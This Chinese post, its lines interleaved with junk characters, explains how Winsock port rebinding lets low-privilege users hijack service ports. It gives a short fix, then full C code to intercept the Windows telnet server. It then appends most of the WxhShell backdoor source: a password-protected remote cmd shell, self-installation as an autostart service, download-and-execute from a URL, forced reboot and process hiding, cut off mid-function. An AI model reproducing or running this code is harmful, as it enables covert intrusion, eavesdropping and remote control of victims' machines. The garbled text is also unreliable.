在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
L,pSdeq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jFTV\|C 26VdRy{[ saddr.sin_family = AF_INET;
2H+DT-hK :t
S"sM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8m6 nw0 hb8XBBKR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r(T/^< AS_+}*WSFQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_5w?v~6 5 R<HZC;x 这意味着什么?意味着可以进行如下的攻击:
[5*-V^m2 UjOhaj "h
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7B!Qq/E?g s)8M? |[`I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%,cFX[D/) 5a!e%jj 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
PB67?d~ pNQkKDbL+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
pQ:PwyU }a1Sfl@`3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ASa!yV=g aZ>\*1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i!oj&& F'$S!K58 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$jh>zf I*S`I|{J #include
3ZlGbP#3w #include
@dCPa7:>& #include
_xgVuJ #include
,1;8DfVZV DWORD WINAPI ClientThread(LPVOID lpParam);
}lTZq|;A int main()
WriN]/yD {
H!.D2J WORD wVersionRequested;
%e7(HfW-U DWORD ret;
#]DZrD&q WSADATA wsaData;
xqC<p`?4 BOOL val;
u<shhb- SOCKADDR_IN saddr;
[H%?jTQ SOCKADDR_IN scaddr;
LsQ8sFP_" int err;
*m&:
Yje SOCKET s;
q VdC ?A| SOCKET sc;
Gb |}Su int caddsize;
_<*GU@ HANDLE mt;
EN)A" DWORD tid;
7$'mC9 wVersionRequested = MAKEWORD( 2, 2 );
SKpPR;=q|: err = WSAStartup( wVersionRequested, &wsaData );
$dp#nyP if ( err != 0 ) {
7(~H77 printf("error!WSAStartup failed!\n");
kTZx-7~ return -1;
U%t/wq }
km\ld&d]$ saddr.sin_family = AF_INET;
.e2A*9, -y*_.Ws9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`$sY^EX 1H4Zgh
U saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%^5 @z1d, saddr.sin_port = htons(23);
>`<2}Me6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Fv);5LD {
^_KD&%M6 printf("error!socket failed!\n");
1:x nD return -1;
%FyygT b;S }
!ObE{2Enf val = TRUE;
_7#tgZyv //SO_REUSEADDR选项就是可以实现端口重绑定的
I>%S4Z+o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s9rtXBJP {
90qj6.SQ printf("error!setsockopt failed!\n");
fEw=I7{Y return -1;
^'[@M'`~L }
R,+/A8[j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
L=HVdeE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|^PLZ> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
MFH"$t+ Sn0gTsZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0)oN[ {
k<Tez{< ret=GetLastError();
3Q$'qZw p printf("error!bind failed!\n");
F%#*U82 return -1;
!-5S8b }
3K#mF7)a listen(s,2);
_rMT{q3 while(1)
nSxb-Ce {
hyOm9WU caddsize = sizeof(scaddr);
.i+* #djx //接受连接请求
II-$WJy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Q-`{PJ(p if(sc!=INVALID_SOCKET)
wVp4c?s {
{x|kg; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E./__Mz@ if(mt==NULL)
Sc/`=h]T {
:G`L3E&1s printf("Thread Creat Failed!\n");
^b"bRQqm break;
1O9p YW5J }
q qe2,X? }
o3F|#op CloseHandle(mt);
``|gcG }
o'eI(@{F= closesocket(s);
G;Wkm| WSACleanup();
7V=MRf&xQ return 0;
kPO6gdwq$ }
bR'mV-2' DWORD WINAPI ClientThread(LPVOID lpParam)
w*:GM8=6 {
8jjFC9Cbn0 SOCKET ss = (SOCKET)lpParam;
*"5N>F[L SOCKET sc;
$,KP]~? unsigned char buf[4096];
mLg{6qm(q SOCKADDR_IN saddr;
2gwZb/'i long num;
B` *f( DWORD val;
GOf`Z'\xt DWORD ret;
{Vxc6,= //如果是隐藏端口应用的话,可以在此处加一些判断
3ximNQ}S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
U=kx`j> saddr.sin_family = AF_INET;
~M
,{ _ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"]T$\PJun saddr.sin_port = htons(23);
\TbsoWX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+5HnZ?E\ {
hV-VeKjZ( printf("error!socket failed!\n");
m
ZtvG, return -1;
KZF0rW }
=naR{pI val = 100;
VT%
KN`l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gMs+?SNHAh {
'%SR. JL ret = GetLastError();
zLsb`)! return -1;
Ufdl|smt1 }
X>Al:?`}N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SOp=~z {
}!%JYG^!D ret = GetLastError();
~H^'al2PK return -1;
> -y&$1 }
:reP} Da7q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vZ$U^>": {
FxCZRo& printf("error!socket connect failed!\n");
7v_i>_m] closesocket(sc);
JiFA]M`^Q closesocket(ss);
S\e&?Y` return -1;
qKdS7SoS }
N0Efw$u while(1)
5@`F.F>" {
38c?^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y=AsgJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
NunV8atn: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+T0op4 num = recv(ss,buf,4096,0);
O' +"d%2' if(num>0)
Q2/MnM send(sc,buf,num,0);
AGOx@;w else if(num==0)
7} be>( break;
}q% jO num = recv(sc,buf,4096,0);
2_;] if(num>0)
HH)"]E5 send(ss,buf,num,0);
9W!8gCs else if(num==0)
<B6[i*& break;
yu)q4C7ek }
Q>.BQ;q] closesocket(ss);
^0^(
u closesocket(sc);
,;_rIO" return 0 ;
egm)a
}
P|e`^Frxt pDu{e>S|: *AZ?~ i^o ==========================================================
*q0`})IQ LA-_3UJx 下边附上一个代码,,WXhSHELL
B?LXI3sQZ 25:Z;J> ==========================================================
i+f7 UVB/vqGg #include "stdafx.h"
2-++i:, g t|}O.u-&;~ #include <stdio.h>
aG%kmS&fv #include <string.h>
5m4DS:& #include <windows.h>
!(Krf #include <winsock2.h>
mjb{~ #include <winsvc.h>
?d$"[lKX #include <urlmon.h>
E\0X`QeY ?O??cjiA@ #pragma comment (lib, "Ws2_32.lib")
nH@(Y&S #pragma comment (lib, "urlmon.lib")
m0|K#^ ?^ZXU0IkP #define MAX_USER 100 // 最大客户端连接数
jM~Bu.7 i6 #define BUF_SOCK 200 // sock buffer
bAf,aV/C&| #define KEY_BUFF 255 // 输入 buffer
7+}JgUh wtXY:O #define REBOOT 0 // 重启
%Rp8{.t7 #define SHUTDOWN 1 // 关机
AoYaVlKG8 IdPn%)>6 #define DEF_PORT 5000 // 监听端口
bd!U)b(}OV |; $Bb866/ #define REG_LEN 16 // 注册表键长度
fN-Gk(Ic #define SVC_LEN 80 // NT服务名长度
-ynBi;nH P;vxT}1 // 从dll定义API
e+'%!w"B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MIq"Wy|Zs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
B0d%c&N${ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G@gh#[b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jd 1jG2=f %j7:tf= // wxhshell配置信息
O:Va&Cyj* struct WSCFG {
I"@p aLZ int ws_port; // 监听端口
q"akrI38 char ws_passstr[REG_LEN]; // 口令
ebC)H int ws_autoins; // 安装标记, 1=yes 0=no
!:WW char ws_regname[REG_LEN]; // 注册表键名
@o>EBZ7MS char ws_svcname[REG_LEN]; // 服务名
22
&'@C> char ws_svcdisp[SVC_LEN]; // 服务显示名
.2.qR,"j char ws_svcdesc[SVC_LEN]; // 服务描述信息
u-JpI-8h char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#)s!}X^ int ws_downexe; // 下载执行标记, 1=yes 0=no
{ p;shs5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h >-'-Hx+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|;+qld[4z ]f8L:=c };
lCJ6Ur; oFCgu{\kt // default Wxhshell configuration
TVaA>]Fv struct WSCFG wscfg={DEF_PORT,
{$d <1y^ "xuhuanlingzhe",
y6-XHeU 1,
Q&CElx?L "Wxhshell",
gl{B=NN "Wxhshell",
a 7#J2 r "WxhShell Service",
}#1/fok "Wrsky Windows CmdShell Service",
wN97_Y=`n "Please Input Your Password: ",
%{!R
l@ 1,
C&+6>L@ "
http://www.wrsky.com/wxhshell.exe",
Fv8f+)k)Z~ "Wxhshell.exe"
@MiH(.Dq };
}4&/VvN nv0#~UgE#a // 消息定义模块
l30Y8t~d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Qd]we$G char *msg_ws_prompt="\n\r? for help\n\r#>";
A#rh@8h+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
fE]XWA4U char *msg_ws_ext="\n\rExit.";
?A?F.n` char *msg_ws_end="\n\rQuit.";
=Mj0:rW char *msg_ws_boot="\n\rReboot...";
VwyVEZt char *msg_ws_poff="\n\rShutdown...";
dtZE67KS char *msg_ws_down="\n\rSave to ";
:"Y*<=x#2 \]uV!)V5B char *msg_ws_err="\n\rErr!";
(UL4+ta char *msg_ws_ok="\n\rOK!";
o*5U:'=5} :nA.j"@ char ExeFile[MAX_PATH];
!4(zp;WY^ int nUser = 0;
>yB(lKV HANDLE handles[MAX_USER];
jQS 6J+F] int OsIsNt;
y7/F_{ EON:B>2a SERVICE_STATUS serviceStatus;
e}hmS 1>H SERVICE_STATUS_HANDLE hServiceStatusHandle;
K/L;8a Ts.wh>` // 函数声明
E&`Nh5 JfC int Install(void);
>R\lqLILb, int Uninstall(void);
`R"~v/x int DownloadFile(char *sURL, SOCKET wsh);
3djC;*,9, int Boot(int flag);
? *>]")[> void HideProc(void);
FAsFjRS int GetOsVer(void);
-
e"jw#B int Wxhshell(SOCKET wsl);
>w+HHs/$wK void TalkWithClient(void *cs);
:,B7-kBw int CmdShell(SOCKET sock);
s{0aBeq int StartFromService(void);
A A^{B int StartWxhshell(LPSTR lpCmdLine);
) ZfdQ3 6eFp8bANN# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-I.d}[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
>J9oH=S6 8[vc?+>& // 数据结构和表定义
SAYLG SERVICE_TABLE_ENTRY DispatchTable[] =
V#REjsf,t- {
ziPR>iz- {wscfg.ws_svcname, NTServiceMain},
d?wc*N3 {NULL, NULL}
br-]fE.be };
8N&+7FK VTy9_~q // 自我安装
\K`L3*cBKK int Install(void)
[AMAa]^ {
M?m,EQh. char svExeFile[MAX_PATH];
|a1{ve[ HKEY key;
4}+/F}TbJ5 strcpy(svExeFile,ExeFile);
g0R~&AN!g &xRo^iV? // 如果是win9x系统,修改注册表设为自启动
}>)[<;M>% if(!OsIsNt) {
7d LuX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<-D/O$q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8Nu=^[qwQM RegCloseKey(key);
9mA{K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{|I;YDA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Po%LE]v, RegCloseKey(key);
cufH?Xg< return 0;
Cj~'Lhmv'T }
p
w8 s8? }
aDO! }
lXcx@#~ else {
S$QG.K:<! ULMu19> // 如果是NT以上系统,安装为系统服务
0a80 LAK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
D$t k<{)oB if (schSCManager!=0)
6I@h9uIsze {
qkiI/nH3 SC_HANDLE schService = CreateService
0u\GO; (
t+9][Adf schSCManager,
PLK3v4kVM! wscfg.ws_svcname,
d_IAs wscfg.ws_svcdisp,
` @nl SERVICE_ALL_ACCESS,
,7<f9 EVY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q%xC}||1s" SERVICE_AUTO_START,
yu;P +G
SERVICE_ERROR_NORMAL,
4^M svExeFile,
iyg*Xbmi~. NULL,
#{?qNl8F*J NULL,
ZMel{w`n NULL,
G K7![p NULL,
ouuuc9x] NULL
Y'8?.a]' );
k |eBJ% if (schService!=0)
+F^^c2E {
0tXS3+@n= CloseServiceHandle(schService);
Q\ 0cvmU CloseServiceHandle(schSCManager);
[n:<8ho strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\SBc; strcat(svExeFile,wscfg.ws_svcname);
"g1)f"pL if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E"5*Ei)^3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>U[j]V] RegCloseKey(key);
NfjE` return 0;
!6*"( }
t+!$[K0/ }
<$IM8Y5p+w CloseServiceHandle(schSCManager);
8|\8O@ }
njputEGX }
eQ]~dA8> #T'{ n1AI return 1;
t:'Mh9h7u }
$7^o#2
B ppVHLrUh // 自我卸载
1pgU}sRk int Uninstall(void)
(&F
,AY3A {
ZZzMO6US0 HKEY key;
pC@{DW;V6R 5Ou`z5S\k if(!OsIsNt) {
woK&q 7Vn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{+Rog/;S' RegDeleteValue(key,wscfg.ws_regname);
8~@c)Z; RegCloseKey(key);
Na]:_K5Dp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Yp^rR }N RegDeleteValue(key,wscfg.ws_regname);
+[\FD; > RegCloseKey(key);
`T5W}p[6 return 0;
]1#e#M]# }
Yfzl%wc }
~E2KZm }
lww!-(<ww else {
Ng~FEl 7%x[q} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
',JinE95 if (schSCManager!=0)
Ws|j#X< {
m8d!<
h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Bf ~vA4 if (schService!=0)
i#vYyVr[ {
f'EuY17w if(DeleteService(schService)!=0) {
0dE@c./R i CloseServiceHandle(schService);
VJ]JjB
j CloseServiceHandle(schSCManager);
CVL3VT1j0 return 0;
T[UN@^DP( }
svcK?^
HTe CloseServiceHandle(schService);
Qp_isU }
3KlbP CloseServiceHandle(schSCManager);
gd`!tRcNY }
i:Y^{\Z?V }
+M\`#i\g> q_A!'sm@) return 1;
Vt:~q{9*k }
iTgt}]L OR~8sU // 从指定url下载文件
<lx+/o int DownloadFile(char *sURL, SOCKET wsh)
&8Cu#^3
{
s(/;U2"e HRESULT hr;
^/I
7|u] char seps[]= "/";
< $lCkSx<Q char *token;
YNKHN2E8 char *file;
chM%]|gey char myURL[MAX_PATH];
&^}1O:8e char myFILE[MAX_PATH];
ib#KpEk 1ySk;;3 strcpy(myURL,sURL);
Hq:X{)" token=strtok(myURL,seps);
3no%E03p while(token!=NULL)
5q3JI {
gmw|H?] file=token;
cQCSe,$ W token=strtok(NULL,seps);
tkeoNuAM }
ZxGJzakB5$ }YGV\Nu GetCurrentDirectory(MAX_PATH,myFILE);
B~MU^|v strcat(myFILE, "\\");
n8~N$tDU strcat(myFILE, file);
#Z?A2r!1 send(wsh,myFILE,strlen(myFILE),0);
!Xf5e*1IS send(wsh,"...",3,0);
`u3EU*~W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
BC&S> #\ if(hr==S_OK)
N{9v1`B return 0;
gc_:%ki else
Gp?a(-K5 return 1;
[B\h$IcRv xHvZV<# }
fphv #+Ir>GU // 系统电源模块
#L=x%8B int Boot(int flag)
e$<0
7Oc {
x kx^%3dV HANDLE hToken;
81? hY4 TOKEN_PRIVILEGES tkp;
nLbFg0?+t h\fjBDU^ if(OsIsNt) {
^ Edfv5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
X5zDpi|Dq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+rd|A|hRq tkp.PrivilegeCount = 1;
Aza /6OL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
sBj(Qd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_hAcJ{Y if(flag==REBOOT) {
8]M ;T>n[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'f!8DGix return 0;
V,lOt4b }
eenH0Ovv else {
7Wf/$vRab if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4[m`# return 0;
{Z(h.de }
V\ZG d+? }
UOv+T8f= else {
k9sh @ENy if(flag==REBOOT) {
vYwYQG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%KCyb return 0;
JFcLv=U }
>*~L28Fyn else {
:3v}kLO7| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^S4d:-.3 return 0;
b[r8e }
PCHu#5j_a }
DU0zez I9 M'?,] an return 1;
"h{q#~s }
kj#?whK6~ v|XTr,# // win9x进程隐藏模块
]l_\71 void HideProc(void)
=)0,#9k U] {
}NHaCG[, 5;tD"/nz HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s 1A.+ if ( hKernel != NULL )
N({MPO9 {
<GS^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1-8mFIK FreeLibrary(hKernel);
dP9qSwTa }
b6c Bg -]0OKE& return;
=Gpylj7?~ }
5kc/Y/4o f',Op1o // 获取操作系统版本
\j@OZ int GetOsVer(void)
1!xQ=DU" {
6dq(T_eG OSVERSIONINFO winfo;
ne>pOK<vZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Nyku4r0 GetVersionEx(&winfo);
(yH'{6g\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[^WC lRF return 1;
Fco`^kql.D else
{{$Nqn,pH return 0;
%0S3V[4I }
7x"R3 5bRJS70M // 客户端句柄模块
m~iXl,r int Wxhshell(SOCKET wsl)
]J1dt N= {
VQc_|z_s SOCKET wsh;
b.2aHu( 3 struct sockaddr_in client;
&PR5q7 DWORD myID;
JrJo|0Q K^
vIUZ> while(nUser<MAX_USER)
SL Ws*aq {
g#"zQv ON int nSize=sizeof(client);
ih58<Up5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
66g9l9wm( if(wsh==INVALID_SOCKET) return 1;
S5gyr&dm }s7$7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zIqU,n|]s if(handles[nUser]==0)
}z eO]"` closesocket(wsh);
QmQ=q7 else
%6|nb:Oa nUser++;
5MroNr }
H9'$C/w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
&W|[r( I,E?h?6Y return 0;
&fDIQISC }
+5w))9@ 2~Kgv|09 // 关闭 socket
R[zpD%CI void CloseIt(SOCKET wsh)
$.Qkb@} {
]&o$b ] closesocket(wsh);
;;!yC nUser--;
h0(BO*cy ExitThread(0);
fe\mL mK9 }
d2*fLEsF X:A^<L
~ // 客户端请求句柄
L^r#o-H< void TalkWithClient(void *cs)
GB23\Yv {
[]\+k31D w;%.2VJ SOCKET wsh=(SOCKET)cs;
GoJ.&aH $ char pwd[SVC_LEN];
KI.q@zO6| char cmd[KEY_BUFF];
6/f7< char chr[1];
k9<;woOBO int i,j;
35h8O,Y 'F/~o1\. while (nUser < MAX_USER) {
fW{(lPx {0L1X6eg if(wscfg.ws_passstr) {
`xKp%9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T.])diuvj- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6Pz4\uE= //ZeroMemory(pwd,KEY_BUFF);
n7zm>& i=0;
NN%*b yK while(i<SVC_LEN) {
F|IAiE @D]5c ivm_ // 设置超时
^ sOQi6pL fd_set FdRead;
=J18eH!] struct timeval TimeOut;
{JO^tI FD_ZERO(&FdRead);
q;B4WL} FD_SET(wsh,&FdRead);
h\$$JeSV] TimeOut.tv_sec=8;
#Vnkvvv TimeOut.tv_usec=0;
kDEXN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x,'(5* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&u]8IEv}u
Y[ j6u\y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6O7'!@@ pwd
=chr[0]; w x]0p
if(chr[0]==0xd || chr[0]==0xa) { IQAZuN"<
pwd=0; 4svBzZdr
break; HCIU!4rH
} _mj,u64
i++; 7!$Q;A
} WQx?[tW(U
TtK[nP
// 如果是非法用户,关闭 socket )Oq|amvC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7LfAaj
} ;@0;pY
sZ3KT&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hXcyoZ8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OyU5DoDz1
J-[,KME_^
while(1) { l?E{YQq]
H[NSqu.s
ZeroMemory(cmd,KEY_BUFF); ,cXD.y
C>ICu*PW
// 自动支持客户端 telnet标准 ~Z -Vs
j=0; j:Xq1f6a
while(j<KEY_BUFF) { yjO1 Ol
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M f}~{+
cmd[j]=chr[0]; c_dVWh e
if(chr[0]==0xa || chr[0]==0xd) { zKyyU}LHH
cmd[j]=0; b10cuy|a/X
break; tl[Uw[
} P:hBt\5B
j++; U2ohHJ``
} 6gkV*|U,e
B*eC3ok3z
// 下载文件 _no/F2>!/n
if(strstr(cmd,"http://")) { hnffz95
send(wsh,msg_ws_down,strlen(msg_ws_down),0); b}2ED9HG\
if(DownloadFile(cmd,wsh)) v>6"j1Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Sdb_EZ
else loEPr5bL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kPKB|kP\
} ! :Y:pu0
else { *Hg>[@dP0
7dN*lks
switch(cmd[0]) { S:u:z=:r
}V'}E\\
// 帮助 &r[`>B{tP
case '?': { <S5BDk
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UgRhWV~f0
break;
|{&{
} d}OTO10
// 安装 ,xw#NG6
case 'i': { d|jNf</`
if(Install()) >;jZa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(``#7
else `b?R#:G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Av$]|b
break; Vk`h2BV
} 4%{,]
q\p
// 卸载 zp6C3RG(
case 'r': { a f6M,{F
if(Uninstall()) |e=,oV"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a y4 %
else \Yy$MLs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ['b}QW@Fx
break; Z/G
ev"p
} [Hx0`Nc K
// 显示 wxhshell 所在路径 t Cw<Ip
case 'p': { %3s1z<;R[S
char svExeFile[MAX_PATH]; *}Xf!"I#]N
strcpy(svExeFile,"\n\r"); #`~C)=-
strcat(svExeFile,ExeFile); +<'Ev~
send(wsh,svExeFile,strlen(svExeFile),0); -TLlwxc^%
break; I"xo*}
} BIH-"vTy
// 重启 O6@j &*jS
case 'b': { ,1hxw<sNR
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
mR!1DQ.\<
if(Boot(REBOOT)) M|VyV(f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Zm0qJ
else { 87=&^.~`
closesocket(wsh); 1}"++Z73P
ExitThread(0); a a<8,;
} 0`Kj25
break; )z>|4@,
} Qo>b*Ku;
// 关机 ;$HftG>B
case 'd': { .28<tEf
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YP
6`L
if(Boot(SHUTDOWN)) -<6\1J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); } j<)L,
else { __uA}fZp
closesocket(wsh); %Celc#v
ExitThread(0); Ii6<b6-
} AWcLUe {
break; 5sdn[Tt##
} 4"GR]
X
// 获取shell W,D4.w$@'
case 's': { Ig$(3p
CmdShell(wsh); ?llXd4
closesocket(wsh); \-L&5x"x
ExitThread(0); u^&A W$
break; vjLJinJ/
} vp1941P
// 退出 Mc@e0
case 'x': { 8."]//V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xP_cQwm`1
CloseIt(wsh); a@8v^G
break; `Nv=B1
} w}L]X1#sF
// 离开 Y2|#V#
case 'q': { (DJ"WG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FSP+?((
closesocket(wsh); eP.wOl
WSACleanup(); w2Us!<x
exit(1); 1Vsz4P"O $
break; A_V]yP
} ]E7F/O/.
} 3^IpE];+:u
} Gq+z /Be
f W!a|?e$
// 提示信息 Y5f1lUT
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?U%QG5/>
} v>:Ur}u!D
} f<
ia(d
imo$-}A
return; #TeG-sFJg@
} ]"r&]qx7
4hO!\5-w:
// shell模块句柄 V08?-Iz$
int CmdShell(SOCKET sock) gK_Ymq5>"M
{ 6wPaJbRtaM
STARTUPINFO si; EH$1fvE
ZeroMemory(&si,sizeof(si)); %fc!2E9|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ng[Ar`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8G9s<N}5&u
PROCESS_INFORMATION ProcessInfo; H=@}=aPf
char cmdline[]="cmd"; [I0:=yJ+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C'G/AU
return 0; \<.+rqa!
} 63^O|y\W8
>l]Xz*HE
// 自身启动模式 \jh'9\
int StartFromService(void) >/g#lS 5
{ R(!s
typedef struct UXeN 8
{ ;"KJ7p
DWORD ExitStatus; mkMq
DWORD PebBaseAddress; yu;+o3WlK
DWORD AffinityMask; t!* ?dr
